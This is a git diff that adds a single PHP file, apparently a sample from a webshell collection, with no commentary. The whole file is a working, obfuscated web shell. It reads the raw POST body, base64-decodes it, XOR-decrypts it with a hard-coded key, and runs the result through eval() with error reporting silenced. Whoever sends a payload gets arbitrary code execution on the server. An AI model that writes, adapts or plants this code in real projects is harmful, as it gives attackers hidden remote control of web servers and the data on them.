diff --git a/php/20220213_06.php b/php/20220213_06.php
new file mode 100644
index 0000000..86a0b63
--- /dev/null
+++ b/php/20220213_06.php
@@ -0,0 +1,24 @@
+<?php
+@error_reporting(0);
+session_start();
+$key="900bc885d7553375";
+$_SESSION['k']=$key;
+$post=file_get_contents("php://input");
+if(isset($post))
+{
+	$datas=explode("\n",$post);
+	$code=$datas[0];
+	$t="base64_"."decode";
+	$code=$t($code."");
+	for($i=0;$i<strlen($code);$i++) {
+    	$code[$i] = $code[$i]^$key[$i+1&15]; 
+    }
+    $arr=explode('|',$code);
+    $func=$arr[0];
+    if(isset($arr[1])){
+ 		$p=$arr[1];
+		class C{public function __construct($p) {eval($p."");}}
+		@new C($p);
+    }
+}
+?>